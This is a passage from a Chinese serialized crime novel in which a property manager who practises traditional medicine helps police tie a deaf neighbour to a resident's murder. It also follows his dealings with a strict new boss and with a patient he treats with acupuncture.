难道仅仅是因为住窗对面、穆艳红漂亮外向又是网络达人的关系吗？我 总觉得不止。 至于林皓说的对物业的仇恨，难不成是因为我们导致他失了业？加重了他爸爸的负担？ 太有可能了！不过，他仇恨物业，却什么动作也没干呐，难不成？ 一种不好的预感油然而生，看来必须加强对3号的监视，以免出现更大的恶果。 3号家的门铃是？智能可视闪光门铃，发射器安装在门外，有人按门铃时，屋里的接收器会发出声音并闪烁灯光，我按了半天，才听见有人走过来。 但是并没有直接开门，好像是趴在门镜上看我，这种感觉我很不舒服，一种被偷窥的既视感。 我不耐烦的继续按着门铃，没多一会儿门开了，大长头发盖住眉眼、衣着邋遢的3号出现在门口，就那么邪魅的看着我，那个眼神里充满了挑衅、凶狠，还有仇恨。 第八十九章 纸笔交流 “不请我进去坐坐？”我一边说一边用手比划，我不会哑语，但我总觉得他能明白。 他果然明白，侧身让出一条路，示意我进门。 我自然是不怕的，我一个行伍出身练过的，还能怕他？ 进门之后，一股酸臭腐败的味道直冲鼻孔，这哪是人住的地方！ 客厅里已经无法下脚了，窗帘遮着，点着一盏小灯，窗户封的严严实实，空气根本无法对流，就不用去厨房和卫生间看了，一定更糟。 我扭头看看3号，慢慢的、动着口型，比划着问他：“为什么要这样对自己？” 3号没理我，径直走进他的里间，没多会儿出来了，拿着一支笔和一张纸，示意我写。 我一看，原来平时是靠这个交流，怪不得喜欢上网冲浪，他的文字系统应该很发达。 我把刚才问的话写在纸上，他接过去看看，抿着嘴，眼神更冷了，下笔哗哗的写了什么，递给我。 “这不是你们想看到的吗？成全你们。” 我抬头看向3号，这是一个可怜人，但是是谁说过“可怜之人必有可恨之处”。 想到这我毫不犹豫的在纸上又写，“穆艳红是不是你杀的？” 他拿过去看的时候，脸上没有任何表情，根本看不出什么意外、或者是吃惊。 他回给我的纸上写着，“穆艳红是对面那个女的吗？她活该。” 我实在等不及递回来再写了，直接用口型问，“为什么？” 他看懂了，又写，写完拿起来纸给我看，“我讨厌她！” 虽然这些交流根本谈不上对案件有什么帮助，但是我感知到了3号的思维方式和表达习惯，他不善于伪装情绪，但是他很聪明，他知道我要做什么。 我拿过那张纸，在上面写，“你恨我们？”后面我又加了个括号，里面写上物业两个字。 3号拿过纸，没再继续写，而是抬起头定定的看着我笑，笑的没有声音，就露着牙咧着嘴笑，这笑容在昏暗的房间里，让我浑身不自在。 为了缓解不舒服，我站起身开始四下打量，并准备去他卧室门口看看。 谁知道3号也腾的一下站起来，阻止我到处走。 这时候我忽然看见，在另一间房里，供着3号父亲的遗像，我没理会阻止我走的3号，径直来到遗像的房间，朝着遗像鞠了几躬。 我知道3号站在门口，他是什么表情、什么想法我不知道，我只是觉得应该给这个不容易的老人表示一下尊敬。 鞠完躬以后，我不想再继续待下去了，我知道3号不会给我任何有价值的信息。 走到门口了，我想了想，伸手跟3号要笔和纸，3号诧异的走回去拿过纸笔递给我。 我在上面写，“明天我带保洁过来帮你收拾房间，不收费。这样的生活，你爸看到了会难过。” 把纸递给3号我就离开了，我不知道他什么感想，只是出门以后一直也没听到他走回去的脚步声。 第二天上午我就带着保洁过来了，还是按了很久门铃，门开了以后，看着呵欠连天的3号，我心里感慨，这人每天这样活着，真不如废了。 保洁显然是被眼前的场面惊住了，“吕经理，这，不好弄呀，而且也不是我分内的事。” “你干吧，干好点，这个月奖金我多给你200。”我承诺着。 保洁一听额外给钱，乐不得的干开了。 3号应该把这些都看在眼里，至于听没听懂我就不知道了，我只是觉得今天的3号比昨天要拘谨。 足足清理了3个小时，屋里像点样了，我走过去开窗，3号没来阻止我，新鲜的空气吹进来的时候，我看到3号麻木的表情上有了一丝动容。 我找寻着昨天写东西的纸和笔，放在门口的鞋柜子上，我走过去在上面写，“以后不要再恢复成以前的样子，人要有勇气翻篇，有勇气往前走。你爸肯定也是希望你能好，不希望看见你每天自暴自弃。” 3号看完我写的东西，很随意的就把纸扔在一边了，我不知道他能不能听，忽然就看见他那里间的电脑桌上，有好多类似的纸。 我拿起墩布就往他里间走，顺便看看有没有可以用的线索。 3号紧紧的跟着我，他的紧张更加重了我的怀疑。 墩布墩到电脑桌旁边的时候，我看到有好几张纸上面写着字，还有画的线条，直觉告诉我有用。 我招呼保洁拿垃圾桶进来，然后开始挪动电脑桌，因为那后面全是垃圾和烟头。 3号看到这些，低着头，没有不让我挪桌子，于是我趁其不备，拽走了那几张纸，顺到垃圾桶里。 从3号家出来以后，我迫不及待的回到物业，扒拉出垃圾袋子里的这几张纸，一个一个打开看。 线条画的像是一个零件的绘制图，上面有一些英文和数字，不得不说，3号这技术确实给力，一个草图竟然画的这么的工整，干净。 还有两张纸写的字，看着像是什么的网名，还有号码，这，怕不是穆艳红的QQ名和号码吧？ 草纸的背面被人用笔狠狠地划了好多道道，笔尖应该都被怼溢墨了，最下面写着“恨”。 这一定是出自3号，但是还是无法作为证据拘捕他。 我对那张画满线条的纸产生了兴趣，准备拿给林翔看看。 刚准备出门，外面走进来一个人，我仔细一看，细高个、国字脸、双眼皮、半凸的头发，老袁？ “吕向荣，你在这？还记得我吗？”老袁先开口说。 “当然当然，您是袁总。”我伸出手要跟老袁握手。 老袁没有跟我握手，而是径直走进来，然后说：“这个时间你应该在城中花园啊，怎么在这里？” 他没有回应握手，搞得我很尴尬，他又责问我为什么不在自己的管片儿，更让我难堪。 “今天过来帮助警察调查穆艳红被杀的案子，所以没在城中花园。”我解释。 “调查案子是警察的工作，你跟着不妥吧？快回城中花园吧，有事我再告诉你。”老袁下了命令。 走就走，我还不想在这待呢，真的是一点情义不讲，咋的也算是认识的，竟然这样！ 第九十章 相由心生 我没有回城中花园，而是直接去了刑警队找林翔。 林翔拿着这几张画满线条、像是图纸一样的纸，也看不出子午卯酉。 这时候他开门到隔壁房间招呼了一声，“小刘，过来！” 那个叫小刘的进来后，林翔把这几张纸递给他，“你看看这些画的是什么东西？” 小刘一张一张仔细的看过以后，揣测的说：“这好像是远程控制监控设备的设计图纸。” 我和林翔互看了一眼，3号绝对有很大的嫌疑杀害穆艳红。 “刘儿，交给你一个任务，你去把这个设计图复原，看看到底是什么样的控制工具，都有什么样的功能，要快！”林翔布置了工作。 小刘出去以后，林翔笑眯眯的跟我说：“向荣，你这个外援不错，总会带给我惊喜。” “老林，我以后恐怕不能像现在这样这么全情投入的帮你查穆艳红的事情了。”我想告诉林翔工作上的变动，避免以后耽误他的事情。 “怎么了？”林翔问。 我把换了领导，而且领导对本职工作要求很严格的事情跟林翔说了一遍。 林翔想了想说：“这样吧，这件事我会采用公对公的方式跟你的新领导聊一下，争取获得他的支持。3号就在锦绣，你不帮忙外援，破案的时间还得后延，我这人手基本都派出去调查许德生和丁有生了。” “行啊，如果这个办法好用，那你就用吧，现在这个领导过于刻板，没有官方授权，肯定是得给我勒小脖。”我赞成林翔的主意。 “下午我要去给郑杰做第一次针灸，你有什么事情需要交代我的吗？”我问。 “这么快，这就开始啦？我没有什么交代，你办事我放心，但是必须注意自己的安全，知道吗？绝对不可以贸然行动，一定要跟我保持联系。”林翔嘱咐我。 我点头表示知道了。 郑杰派来的车准时到了城中花园门口等我，我带上姥爷传给我的针灸针还有罐子，乘车来到郑杰家。 这一回没有等很久，佣人直接带我到了郑杰的房间。 很大的一个卧室，密闭的很好，但是有着密闭空间共通的问题，空气流通性差。 “吕兄弟，今天要辛苦你了。”郑杰还是捂的严严实实的，唯一不同的是穿的没那么多。 “郑先生，咱们俩这个称呼太生分了，你以后就叫我名字，我就称呼你为郑老大，如何？”我尝试着拉近距离。 郑杰笑了，“好啊，好。” 我给郑杰做针灸治疗，他身体的瘦弱程度出乎我的意料。 “郑老大，你怎么这么瘦？平时吃饭怎么样？”我边治疗边发问。 “食欲一般吧，心里事情太多，每天都觉得累。”郑杰回答。 我笑了笑，“是不是干大事的人都要运筹帷幄、要在心里规划宏伟蓝图，所以就累？” “向荣兄弟说笑了，我都快70岁的人了，早就没有那些劲头和魄力了，我现在就想还了之前未还的心愿，好好的等待死亡。”郑杰不无凄婉的说。 我想了想说：“郑老大，对于你来说，财富已经是数字了，还有什么未了心愿是实现不了的？” 郑杰看看身上插着的针，不再说话，闭上了眼睛。 他不说话，我也不好追着问，只好继续看着病灶。 针灸结束以后，我给他拔罐，然后选一些可以排毒的位置放血，因为有毒素的原因，出来的血都是黑色的。 我看着额头泌出汗珠的郑杰，浑身都很白，包括眉毛、眼毛，五官长相倒算清秀，不是那种十恶不赦的样貌。 话说相由心生，这是有中医理论根据的。 中医认为，五脏六腑与五行相对应，五行又与五种情绪相对应。肝属木，木对应喜怒；心属火，火对应喜悲；脾属土，土对应思忧；肺属金，金对应忧悲；肾属水，水对应恐惧。一个人的情绪失调，相应的脏腑功能就会失调，血液循环和气血运行也会受影响。 所以，人的长相小时候是父母给的，长大后则是自己给的。 郑杰的面相，他应该不属于大奸大恶之人。 “向荣兄弟，你一直在观察我，有什么发现吗？”郑杰突然发问。 “郑老大的感知能力很强啊，闭目养神的时候也能知道我在观察你。”我回。 “我早些年没生这病的时候，肤色也是属于白皙的，主要是因为我的职业，常年在地下，见不得光。但是总体上讲属于健康的白皙肤色，跟现在不一样。”郑杰开始说。 “哦？郑老大不是开发房地产的么？”我故意引诱他多说。 “开发地产是最近这七八年的事情，早些年我是干分包工程的，也干过开矿。” “开矿？煤矿吗？”我问。 “对，我的家乡产煤，年轻的时候没机会念大书，就跟着街坊邻居去下矿井，扒煤。” “下矿井是一件比较危险的事情吧？平时看一些电视或者新闻，总是用发生矿难做噱头。开矿赚钱么？”我继续深入。 “矿难偶尔会有，但是已经成熟的矿井，基本上很少会发生矿难。倒腾煤挺赚钱的，我家兄弟姐妹五个，我是老大，他们都靠着我的收入生活、上学。”郑杰完全陷入回忆。 “向荣兄弟观察我半天，看出什么了？”他睁开眼睛看着我问。 我也没看他，还是一边忙一边说：“没什么，我只是想到了相由心生，你的心脾功能要弱一些，平时应该是忧思多虑，这种情况下会导致肾脏的功能也是失调的，所以你应该会有相关的一些毛病。比如心律不齐、消化不良、运化不利、浮肿等。” “向荣兄弟的医术真的是名不虚传，你就简单的看了看我，就发现了这么多问题。这些症状我都有，你说的都对啊，都对！” “郑老大，如果说，你这病因是病菌入侵导致，你觉得最有可能引发这个病的是你过往的哪段经历？”我问。 郑杰不假思索的、张口就回：“一定是我下矿的那段时间。那时候我年轻气盛，跟着几个发小天不怕地不怕，专门去不让进的矿井，只有不允许进的地方才有好东西呀，一定是那段时间染上的。” “您发小？您是说冯楠吗？” “不是，冯楠是最近这些年才认识的，我的发小、现在都不在了......” 第九十一章 点名批评 郑杰开始很长时间的沉默，我知道他是在回忆过去，我今天的全部诊疗也已经结束。 “郑老大，今天就这样吧，记得这两天不要沾水，24小时后可以适当擦身。”我开始收拾东西准备回去。 “向荣兄弟，我叫车送你走，这次谢谢你了，你给我开的汤药，我喝着没有不良反应，而且睡眠很好，不错。”郑杰说。 “睡眠的过程就是身体自我恢复的过程，睡眠好了是个好兆头。下一次我一周后过来。” 郑杰让佣人送我下楼，他在屋里跟我道别，我看向他，忽然觉得他很难懂。 虽然有一些对话，但是都是不疼不痒，没有任何关键信息，如果他是刻意在隐瞒，那说明他的城府深沉，很难办。 回去的路上我把情况汇报给了林翔，还没等林翔跟我结束通话，江怀洲的电话就打进来了。 “喂，老江，什么情况？这么急。”我问。 “领导，您快回来吧，新来的袁总打了好几遍电话找你，后边我听着语气很不和善，你赶快回来给回个电话吧。”江怀洲急急的说。 “我知道了，我快到了。” 挂断电话后，我不禁愤懑的想，“这可真是新官上任三把火，专门挑我这敌对分子捏估，他这是存心呐！就看我有没有听他话，在城中花园盯岗。” 回到物业办公室，王敬之正来回转圈的走来走去。 “师哥，干嘛呢？跑圈去外面跑哈，这屋太小，你晃来晃去的我眼晕。”我想逗他。 “吕向荣，你心可真大，换领导了你不知道啊，出去办事招呼都不打？你赶快的吧，给领导回个电话，我听那语气可是气坏了。”王敬之数落我。 我静下心来一想，确实是我有问题，跟林皓打配合习惯出去办事不事事汇报了，但正常情况下，外出必须要跟直属领导申请才可以的。 平复好了心情，我拨通了袁振文的电话。 “袁总，您找我啦？我出去办点事情，忘记跟您申请了，对不住哈！”我赶紧汇报。 “吕向荣，这是对得住对不住的问题吗？你当了这么多年领导了，难道不知道关于外出、公司是什么规定？我不管你之前跟林皓是怎么操作，现在我来了，就一切按照集团的规定办，绝对不可以逾矩于规则之上！”袁振文的语气严厉，没有一丝一毫可商量的成分。 “袁总，我平时基本不出去的，今天确实是有点急事，这也是为了协助警察办案。” “我问你，你现在是给谁工作的？谁给你发工资？”老袁不依不饶。 “当然是咱们集团啊！” “那你总是协助办案、协助办案，集团给你授权了吗？你知不知道物业岗位是要经常巡视的，你脱岗了，谁去巡视？” 袁振文的话句句都有道理，但就是句句都让我觉得别扭。 因为我本身并没有二心，都是为了工作，让他这样一解读，我就成了三心二意的人。 “袁总，不是你说的那样的。至于巡视，我都排好班了，绝对不会出岔的。”我耐心的解释。 “你不用说了，今天的事情，我要在区域会议上点名批评，你自己做好发言检讨的准备。而且，绝对不允许再犯。没有获得我的批示，不准许脱岗！” 袁振文说完就结束了通话，留下我十分抑郁且气愤的愣在那里。 江怀洲和蔡浩、王敬之都过来看我，他们很紧张，担心我的位置不保。 “看什么看，都干活去！今天我心情不好，谁也别惹我！”我气呼呼的发脾气。 这个老袁，简直气死我了，还让我在区域会议上做检讨，入职这么久了，我得到的都是奖励和表扬，什么时候有过点名批评啊，真是太可笑了！ 江怀洲和蔡浩吐吐舌头，灰溜溜的回了座位。 王敬之站我对面一直看着我，没有走。 “师哥，我被老袁批的很不爽，你可别整我啊，我没心情和你闹。”我先打预防针。 “切，谁和你闹了，我有话说！”王敬之特意有话说，准是惊天大事。 “说啊，师哥，跟我你还卖关子。” “我要带晶晶出去旅行，大约得走个十天半拉月的，你自己好好应对新领导，现在你这状态哪行！工作，咱们可以不干，但是绝对不能让人家辞了我们。” “什么？你带冯六日去旅行？就你们俩？冯楠同意了？”我惊掉了下巴。 “晶晶是成年人了，也不是小孩，我主要是陪她散散心，有利于她病情尽快好转。”王敬之难得解释，他最讨厌解释。 “师哥，话虽这么说，人家毕竟是个姑娘，你不征得人家家长的同意，不太好吧！” 王敬之看着我的提醒，翻了翻白眼说：“这些你就不用操心了，把你自己的事业搞好吧，省的我一天老惦记你！” 王敬之的担心我很受用，“师哥啊，你放心吧，工作丢不了，他们还指望我出菜呢！” 王敬之瞥了我一眼，“别盲目自信，明天我就走了，别惦记了。” 明天就走？可真快，看来是酝酿已久的了。 “晶晶跟我说，最近好长一段时间都看不着冯楠，有时候通个电话，也很着急的挂断，你没事的时候关注关注，他是不是出什么事了。”王敬之说。 “你提醒我了，确实很久没有冯楠的消息了，这家伙神秘兮兮的在搞什么呢！下回去给郑杰治疗，我好好打听打听。”我回。 王敬之走的第二天，我就在区域电话会议上被点名批评，袁振文用的语言很犀利，而且整整批评了我五分钟，不了解我的人一定以为我是一个坏分子。 我很不高兴，第一次这么被批，而且我倍感冤枉，却又无法说出来，简直难受到了极点。 正郁闷的时候，接到了袁振文的电话，“吕经理，我接到刑警队的协查请求，也跟上面领导请示过了，集团同意你配合他们查锦绣小区的命案，你从明天开始来这边办公，命案结束后你再回去，管辖权限不变。” 第九十二章 消防井门上的指纹 让我去老袁眼皮子下面办公，葫芦里卖的哪门子药？挤兑走了林皓，又来鼓捣我，哼！ 但是为了尽快找到杀害穆艳红的凶手，我只能照办。 袁振文把我的工位安排在他对面，一抬头就可以看见的距离，好在中间还有两个电脑显示器，要不然可尴尬坏了。 也罢，为了钱，我忍。 “吕向荣，现在办公环境紧张，我们俩就这么凑合凑合，等园区这个案子结束了，你就回城中花园去。”袁振文很严肃的和我说。 我点点头，没说什么。 因为近距离办公的原因，我发现老袁总是习惯性的按揉太阳穴，有时候站起身还会像要晕倒一样。 我不禁好奇，问：“袁总，您是有头疼病吗？我看你总是揉太阳穴。” 他也没看我，很随意的说：“我身体很好的，最近应该是换了城市的问题，没睡好，脑袋疼，突然站起来还会觉得晕。没事，多休息休息就好了。” 我一听，又想了想他的年纪，心里觉得不是很乐观，“袁总，我给你号号脉，没啥事咱就放心了，是吧？” 老袁这回看我了，但是表情不太高兴，“吕向荣，你说你挺好个苗子，荣誉奖励获得一大堆，咋就老是不务正业呢？” 哎呦喂，我的个乖乖，我一片好心，又被他给“利用”了，心里对不务正业几个字反感到了极点。 但是人家是上级，我也不好发作，只好不出声了，爱咋咋地吧，不管了。 下午的时候，我从外面巡视回来，发现老袁在憋着要呕吐的样子，从脸上就能看出来，他很难受。 我的热心肠又发作了，“咋的啦？袁总，中午的饭没吃好？” 老袁朝我摆摆手，意思不要说话，他想静静。 这人可真的不懂好赖，好心都当驴肝肺了。 刚想到这，就看着他三步并作两步的冲进洗手间，一阵干呕。 看来，他确实很难受，我忿忿的情绪缓解了很多，不禁感叹，一个老头只身在外的，也不容易，别在情绪上挤兑他了。 我走到洗手间门口，递给他一张纸巾，“袁总，下午你回宿舍休息吧，这里有我在，不会有事的。我之前就在锦绣，这里的环境我熟悉。” 袁振文没说话，想了想说：“行，我一会儿发封邮件请半天假。” 我心里觉得好笑，这么大的领导干部了，还整这套早请示晚汇报的，怎么的？老板都那么闲吗？每天批邮件准假玩？难道不是越大的干部越用结果说话吗？ 也许这是做给我看的，告诉我以后不能自由主义泛滥，要好好守纪律。 下午老袁回去休息后，我顿觉放松下来，这一天给我憋闷的，太紧张了，管小学生呢！ 电话响，是林翔。 “向荣，那图纸我们出结果了，确实是监控控制设备的设计图，应该已经有成品了，你有时间的时候去巡视巡视，看看有没有被丢弃的设备，我把图片发给你。当然，也有可能是损坏了的，你得仔细辨认。”林翔分配了任务。 “好，一定完成任务。”因为得到过老袁的授权，我不用担心做这事会被批评不务正业，我想赶快查出结果，远离袁振文。 自从给3号打扫过房间，3号家的窗帘就不再密闭，看来这家伙也是需要阳光的。 我一边在楼下看着他家的窗户，一边琢磨，如果我是凶手，用完的干扰设备我会怎么销毁呢？ 首先肯定不会让它们完整的，会毁掉再扔，扔的话，因为鲜少有人知道是什么，而且都支离破碎了，没必要掖着藏着，可以随手跟其它垃圾扔一起。 想到这，我直奔3号家走廊的垃圾桶，说不定能翻找出东西。 保洁是每天两次收拾垃圾桶，我到了楼梯间，发现早上收拾的大垃圾袋还在，还没运走，桶里又多了整理之后新扔的垃圾。 碰碰运气吧，如果早就扔掉了，就没办法了。 结果，果然是一无所获，看来作案后没多久，这东西就被销毁了。 我郁闷的站在楼梯间，四下打量，脑袋里在想着计划，这个东西还有没有找到的可能。 忽然看到楼梯间的消防井门没有关好，平时都是物业定期检查、维保，这是谁疏忽了咋的。 我走下半层，去关那门，刚要伸手，发现消防井门的打开位置有一小簇红色，像是指纹。 难道、是血手印？如果是的话，他为什么要开关这扇门呢？是不是藏了什么东西呀？ 我小心翼翼的避开那一簇红色，门很轻易的就被打开了，看来这个锁坏掉了，物业不知道。 里面很正常，消防水枪等设备都在里面，可又觉得哪里不对，一时说不好，是缺少了什么、还是哪里被动过。 好像少了一把铲子。 我给林翔打电话，把发现的事情跟他做了汇报，他说他马上派人过来取证，让我在这里看守现场。 没等多久，林翔的同事就过来了，办事效率真高。 我看着他们小心翼翼的取证，插了句嘴，“我这里应该是丢了一把小铲子，杀死穆艳红的凶器有可能是铲子吗？” 其中有一个警察说：“也不是没有可能，法医说凶器不像是刀这一类的。” 果然是这样，3号就是凶手，可他为什么呢？ “如果指纹提取后确认是3号，是不是就可以提审了？”我问。 “是的，可以传讯。” 两个警察走后，我回到物业办公室，老袁竟然回来了，坐在自己的工位上看着电脑。 “袁总，你好点了吗？怎么回来了？”我关心的问。 “好多了，宿舍躺不住，回来看看有什么事可做。”他的声音很虚弱。 “吕向荣，你这次做的很不错，知道外出了要给我发封外出邮件，挺好，继续保持。” 我看看他，心说：“这还不都是你逼得。” “怎么样？有什么新发现吗？”老袁问我。 “的确有，不过要等警察先回去鉴定。” 老袁抬头很认真的看看我，说：“你能得这么多奖状，我知道是什么原因了，你看问题很细，里面也有运气的成分在，这个案子你看你一出马就有发现。” 运气的成分？什么意思？可是我知道我不该问，他乐意怎么想就怎么想，我不在乎。 “袁总，还有十分钟下班了，下班时间到了我给你把把脉，你的外在症状表现让我觉得不是很好，我帮你看看，有事咱们及时预防，没事我们都放心。”我说。 第九十三章 上位 老袁看看时间，拗不过我，点头同意了。 脉象显示涩脉，滞涩不滑利，跳几下就停，停完再跳，很有规律。 主精亏血少，脉道不充，这说明老袁有心脑血管的问题，至少目前心或脑的供血情况有异常。 “袁总，最近是不是有心悸的毛病？胸闷、一边的身体发麻这些。”我问他。 “确实有，还会有出汗的问题，看出什么了吗？”老袁问我。 “你这是脑溢血的前兆，我陪你去医院检查一下吧，不能掉以轻心。”我说。 “脑溢血？怎么可能！再说你这摸几下脉搏就知道了吗？去医院恐怕要做很多检查才能确认的。”老袁将信将疑。 我理解他不了解我的情况，所以也不和他争辩。 “一般疲劳过度、消耗太过，是会引发这个毛病的，这种事还是宁可信其有、不可信其无，一旦中风了，难受的是自己啊！”我劝。 老袁咔吧咔吧眼睛，我最后这句话触动了他，“行，我跟你去。” 我陪着他去医院挂了急诊，医生给开了几项检查，结果出来以后，医生的诊断跟我的判断一样，有脑溢血的风险，还给开了药，说了注意事项。 回来的路上，老袁不淡定了，时不时愣愣的看我。 我被他看的有点不自在，说：“袁总，回去按时吃药，你这只是刚有迹象，注意休息，少多思多虑，会遏制住的。” 袁振文张张嘴想说什么，没说出来，长出了一口气，说：“你可真是名不虚传啊！我算是服你了，这次是我欠你，日后一定重谢。” 我一听，这老袁行事原来也是个知恩图报的风格，还行，不是装傻的人。 “嘿嘿，袁总，咱们同事一场，再说也是您幸运，正好赶上我来了，既然发现了，我怎么能装作不知道呢，那样的事我做不出来。”我笑着说。 “可是吕向荣啊，这不代表我以后会纵容你那些毛病，咱们既然给人家打工，那就是受人之托忠人之事，不能稀里糊涂的。再说，下边还有员工看着呢，你这么办，以后怎么管别人？”老袁的画风转的真快。 我不由得理解了林皓说的，袁振文的为人一板一眼，墨守成规。 “是的，是的，袁总，您这个观点我是赞成的，您放心我以后一定遵守规章制度。” 老袁高兴了，点点头。 我也释然了，原来他并不是刻意针对我，他只是工作风格如此。 仅仅过了一天，林翔那边就出结果了，提取的手印跟3号的指纹吻合，警察带走3号的时候，我和老袁站在物业办公室里往外看。 “向荣啊，你又立了一功。”老袁感叹。 “袁总，还没有审出结果，现在这么说还有点早。”我回。 “小伙子，我看好你，把你那些边角余料的小毛小病改一改，升到林皓的职位，我也可以回到我的家乡啦，咱俩都皆大欢喜。”老袁的心情难得这么好。 我也了解了集团的用意，原来最终的想法是要我上位，老袁是来打个前阵。 说实话，知道这个事情之后，我的心里是高兴的，那等于我实现了目标，很快就可以接爸妈来这边生活了。 但是，这么做的话，林皓会不会不高兴呢？会不会不是滋味？怎么感觉像是我把他给顶下去了一样！ 算了，先不想，走走看吧，毕竟现在还没有任命，还没成既定事实。 再一次到了去给郑杰做治疗的日子，我提前一天就给老袁发了邮件，说清楚外出原因，也是帮助查案。 老袁没有问我细节，直接回复了同意，看来人与人之间的信任是需要经历的。 郑杰的状态明显好了很多，脸没有再遮挡，身上也没有穿很多衣服捂着，看到我来了，很开心，“向荣兄弟，又要麻烦你啦。” “郑老大，你看你，总是这么客气，今天我们还是先针灸、再拔罐。”我安排郑杰躺好，开始行针。 全套流程下来都很顺利，过程中我一直想着该怎么去问冯楠的事情。 治疗的次数来一次少一次，林翔交给我的任务却没有任何进展。 “郑老大，你的毛病和冯三哥的毛病是一个时间得上的吗？”我找到了突破口。 “不算吧，我的病好多年了，他的毛病在跟我们合作的时候还没有，是开发荟萃亭的时候，才染的病。”郑杰并未防备。 “你们是发小吗？” “他不是我发小，我和丁有生、谢志强是发小。冯楠和杜国瑞是后加入的，廖文彬加入的更晚。不过现在，开发工作也终止了，我们各有各的事情，基本不怎么往来。” “冯三哥说排行老二的叫吴岩啊，没有你说的这两个发小。”我假装不知情。 郑杰诧异了几秒，我还是感知到了。 “对，是吴岩。我的两个发小都不在了，就剩下我老哥一个。哎！”郑杰忧伤起来，不像是假的。 “您的发小，按说应该和你年龄相仿，他们怎么走的这么早？”我问。 郑杰没回答我，闭着眼睛不知道在想什么。 这老头的城府真深，一般人不是他对手。 “向荣兄弟，对我们几个人很好奇是吧？我听说，你帮着冯楠治理了荟萃亭的风水，还给王宁家除了臭，挖出一具女尸。”郑杰说。 既然他选择直面，我也没什么好遮掩的，“是的，确有其事。那个挖出来的女尸是李文月，也是我管辖小区里的一个女业主。” “李文月是四弟的相好，两个人好了很多年，四弟跟王宁是双方家长撮合的，感情淡。李文月在四弟一无所有的时候就跟着他，四弟觉得李文月是图他这个人，不是图他钱，所以对她特别好。”郑杰说。 “但是这两个人死的很蹊跷，李文月是被人谋杀的，杜国瑞也不像是简单的失足摔死。”我看着郑杰的眼睛说。 郑杰也没回避，“我知道你们都怀疑我，警察也来过几次，尤其你，也是林警官推荐来的，我知道你们想从我这里了解些什么，我都知道。” 我一听，这话我没法接了，我既不能说不是，也不能直接说就是，因为我确实也是在给他治病。 “向荣兄弟，你不用为难，我知道你是个好人，很善良，你给我点时间，等我想明白了，我会把我知道的全告诉你，就算是我对你治好我的病的报答吧。”郑杰说。 这是极好的，明白人不做糊涂事，这多好，我也自然了，不用伪装。 “郑老大，你很明事理，你的病一定会根治。”我由衷的表达。 第九十四章 矛盾 第二次治疗结束之后，郑杰依旧派车送我，到了锦绣小区门口，我下车往园区里走。 还没等进门，手机就响了，林翔的号。 “老林，3号供了？”我问。 “你还真是嗅觉灵敏，不算是供了，他要见你，你现在来刑警队吧。” “见我？见我做啥子。” “他来了以后，还是什么都不说，我们把监控和指纹的证据摆在他面前，他就开始笑，也没声音，就露个牙笑，逼问狠了，就说要见你。”林翔说。 “好，我这就过去。” 结束通话以后，我拦了辆出租车，去刑警队。 一路上我都在想3号的动机，除了因为上一次的事情让他丢了工作以外，还有什么是让他生了恨的？ 3号被羁押的房间比较暗，他看到我出现在他对面的时候，眼神里有了积极性。 于是我第一次看见了3号跟我比划哑语，这一次他不再靠写，我听着旁边的翻译告诉我他说的是什么意思。 3号第一句话就问我：“穆艳红该死不？” 我摇摇头，然后说：“是否该死，决定权不在于任何一个人，执掌生命权利的是造物主，而不是我们每一个人。” 翻译译给他之后，他想了想，又问我：“那我爸就该死吗？我爸照顾我，不嫌弃我是聋哑人，陪着我长大，又当爹又当妈，他该死吗？” 他因为比划这一句话，情绪变得很激动，看来他爸的死，也是他过不去的坎儿。 我说：“你爸爸死了我也很遗憾，但是生老病死是人生常态，我们每一个人都逃不过，你为什么这么放不开呢？” “你知道我爸是怎么死的吗？”3号突然问我。 “难道不是突发脑出血吗？” “他为什么会突发脑出血？” 这回我只能摇头了，我真的不知道。 “是穆艳红害的，所以她该死！她这个女人不但不守妇道，而且还道德沦丧。”3号恶狠狠的比划着。 “什么？大叔突发脑出血是和穆艳红有关？你说详细一点，怎么回事？”我问。 林翔也坐在我旁边，很想知道发生了什么。 3号比划了好半天，从翻译的嘴里，我们了解到了事情的经过。 原来有一天3号爸爸从菜市场买菜回来，刚巧遇见了也从外面回来的穆艳红。 穆艳红认得他是3号的爸爸，白了他好几眼。 但是老头不知道咋回事呀，他知道自己儿子被警察带走后，又送回来了，自己儿子是被冤枉的。 于是他气不过穆艳红像看敌人一样的看他。 他撵上穆艳红，和气的说：“姑娘，之前的事情纯属是个误会，跟我儿子没关系，这个事情你就了了吧，他因为你的事，工作都没了。” 穆艳红一听，怎么着？天天搁对面阳台偷窥我，现在还想抵赖说没做过？ “老大爷，您是不是太溺爱您儿子了，你知不知道我们两家的阳台是对着的？如果互相都不挡窗帘，室内的东西看的一清二楚？警察都把他带走了，怎么不带别人呢？” 穆艳红气呼呼的，咄咄逼人，3号的爸爸被怼的说不出话。 这时候穆艳红又说：“我说你老人家，你儿子都多大年纪了，你还像管小孩一样的护着，他就跟个巨婴一样长不大，做的那些事都是很变态的，我看你应该带他去看看心理医生，要不然，以后还得出来害人。” “哎，你这个姑娘怎么这么说话呢，你有什么根据总这么乱说呀，你这样散播谣言，会对我儿子造成不良影响的。”老头有点生气了。 “我散播谣言，来，你跟我过来。” 穆艳红扯着3号父亲就来到了能看到两家阳台的中庭，这时候正好3号趴着窗帘正在往外看。 “看见没？我说大爷，窗帘后面的是你儿子吧？我乱说了吗？我家现在只能挡上厚厚的帘子，他已经严重影响我的生活了。”穆艳红也生气了。 而这个时候全部的场景，都被楼上的3号尽收眼底。他看着他爸被穆艳红扯着，数落来数落去，牙齿咬的咯咯响。 老头子回来以后就不高兴，好几天不跟3号说话，还不让他再拉开窗帘。 一旦看到3号再走到窗前往外望，老头子一巴掌就打过去。 就这样，两个人之间的关系剑拔弩张。 有天早上，3号起得早，想拉开窗帘透透阳光，可是却被他爸打了好几个耳光，他爸以为他又是去偷看穆艳红的，气的不行，动手打了他之后，就晕了，然后就没挺过来。 “这事儿你不能赖穆艳红啊！你偷窥人家是事实，人家没有捏造吧？至于大叔脑出血，难道不是你的行为直接导致的吗？”我也愤愤不平的说。 “不是我，就是穆艳红，她如果不数落我爸，我爸不能跟我生气，不和我生气也就不会脑出血了。”3号比划着。 我看着他任性的解读，不想再试图劝好他。 “说吧，为什么叫我来？我还有好多事要做，没时间在这陪你辩论。”我说。 “我要和你说声谢谢，我爸走以后，是你第一个帮我打扫房间，清理干净，我很感激你。而且你说，我爸不愿意生活在那样的环境，说的也对，我爸确实是爱干净的。” 我不知道该说什么了，看着一脸严肃的3号，有点难受。 “3号，正视你的问题。”林翔说。 “消防井门上的指纹是你的，血液是穆艳红的，就算是你不承认，按照现在新的司法认定，你也是凶手。”林翔说。 